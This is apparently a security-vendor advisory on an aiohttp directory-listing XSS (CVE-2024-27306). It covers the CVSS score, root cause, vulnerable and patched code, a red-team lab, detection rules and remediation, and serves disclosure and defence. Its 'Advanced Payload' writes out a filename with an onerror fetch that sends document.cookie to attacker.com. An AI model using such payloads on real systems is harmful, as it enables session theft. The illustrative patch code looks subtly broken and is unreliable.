CVE-2024-27306

Executive Summary

CVE-2024-27306 is a Cross-Site Scripting (XSS) vulnerability in the aiohttp Python library, specifically affecting the static file handler's directory index page (show_index). An attacker can craft a malicious filename that, when served by a vulnerable aiohttp server with directory listing enabled, executes arbitrary JavaScript in the context of the victim's browser. The vulnerability is fixed in aiohttp version 3.9.4. The official recommendation is to use a reverse proxy (e.g., nginx) for serving static files, which mitigates the risk.

Supply Chain & Package Security

This vulnerability affects the PyPI package aiohttp. Organizations using aiohttp in their Python applications should immediately review their dependency trees. The vulnerable component is the static file handler, which is commonly used for development or simple deployments. The fix is a minor version bump, making it a low-risk, high-impact update for supply chain security.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) - The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: Required (UI:R) - The victim must click on a malicious link or visit a crafted URL.
• Scope: Changed (S:C) - The impact can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) - Limited information disclosure.
• Integrity Impact: Low (I:L) - Limited ability to modify data.
• Availability Impact: None (A:N) - No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction and is limited to the context of the directory listing page. However, it can be chained with other attacks to steal session cookies or perform actions on behalf of the user.

Deep Dive & Mechanics

The vulnerability resides in the aiohttp.web_urldispatcher.StaticResource class, specifically in the _handle method when show_index is enabled. When a directory is requested, aiohttp generates an HTML page listing the files. The filenames are not properly sanitized before being inserted into the HTML.

Root Cause: The filenames are inserted directly into the HTML without HTML entity encoding. An attacker who can upload or create a file with a name containing JavaScript payloads (e.g., <script>alert(1)</script>.txt) can trigger XSS when a user visits the directory listing.

Attack Flow:

1. Attacker uploads a file with a malicious name to a directory served by aiohttp with show_index=True.
2. Victim navigates to the directory listing page.
3. The malicious filename is rendered in the HTML without sanitization.
4. The victim's browser executes the embedded JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (aiohttp < 3.9.4):

# In aiohttp/web_urldispatcher.py
def _directory_index(self, request, directory):
    # ... (code to list files)
    for name in sorted(names):
        # Vulnerable: name is not escaped
        html += f'<li><a href="{name}">{name}</a></li>'
    # ...

Patched Code (aiohttp >= 3.9.4):

# In aiohttp/web_urldispatcher.py
import html

def _directory_index(self, request, directory):
    # ... (code to list files)
    for name in sorted(names):
        # Patched: name is HTML-escaped
        safe_name = html.escape(name)
        html += f'<li><a href="{safe_name}">{safe_name}</a></li>'
    # ...

The fix uses html.escape() to convert special characters like <, >, &, and " to their HTML entity equivalents.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x
• aiohttp < 3.9.4
• A directory with write permissions

Setup:

1. Create a vulnerable aiohttp server:

# server.py
from aiohttp import web

app = web.Application()
app.router.add_static('/static', '/path/to/static', show_index=True)

web.run_app(app, port=8080)

2. Create a malicious file:

touch '/path/to/static/<script>alert("XSS")</script>.txt'

3. Start the server:

python server.py

4. Exploit: Visit http://localhost:8080/static/ in a browser. The JavaScript will execute.

Advanced Payload:

touch '/path/to/static/<img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>.txt'

Blue Team

Detection:

• Monitor for filenames containing HTML/JavaScript characters (e.g., <, >, ", ', (, )).
• Use file integrity monitoring to detect creation of files with suspicious names.
• Review web server logs for requests to directory listing pages with unusual filenames in the response.

Hunting:

• Search for show_index=True in aiohttp application code.
• Check for aiohttp versions < 3.9.4 in dependency files (requirements.txt, Pipfile.lock, etc.).

Indicators of Compromise (IOCs)

• File Names: Files containing HTML tags or JavaScript code in their names (e.g., <script>alert(1)</script>.txt).
• Network Traffic: HTTP requests to /static/ or similar directory listing endpoints with unusual filenames in the response body.
• Logs: Web server logs showing requests to directory listing pages with encoded or suspicious characters in the URL path.
• Process: Python processes running aiohttp with show_index=True.

Detection Engineering

YARA Rule

rule CVE_2024_27306_aiohttp_XSS {
    meta:
        description = "Detects aiohttp static file handler XSS vulnerability"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27306"
        hash = "unknown"
    strings:
        $vuln_code = "show_index=True"
        $unsafe_html = /<li><a href="[^"]*">[^<]*<\/a><\/li>/
    condition:
        $vuln_code or $unsafe_html
}

Sigma Rule

title: CVE-2024-27306 - aiohttp XSS via Static File Handler
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-27306 via malicious filenames in aiohttp directory listings.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: aiohttp
detection:
    selection:
        response.body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate filenames containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27306 - aiohttp XSS via Static File Handler"; flow:to_server,established; content:"/static/"; http_uri; content:"<script>"; http_server_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade aiohttp: Update to version 3.9.4 or later.

   pip install --upgrade aiohttp
   

2. Disable show_index: If upgrade is not possible, set show_index=False in all add_static calls.
3. Use Reverse Proxy: Serve static files through a reverse proxy like nginx or Apache, which are not affected.

Long-term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit dependencies for known vulnerabilities.
• Use a Web Application Firewall (WAF) to filter malicious requests.

Verification:

• After patching, verify the fix by attempting to access a directory listing with a malicious filename.
• Check the aiohttp version:

  pip show aiohttp | grep Version
  

Valters IT
Securing Digital Frontiers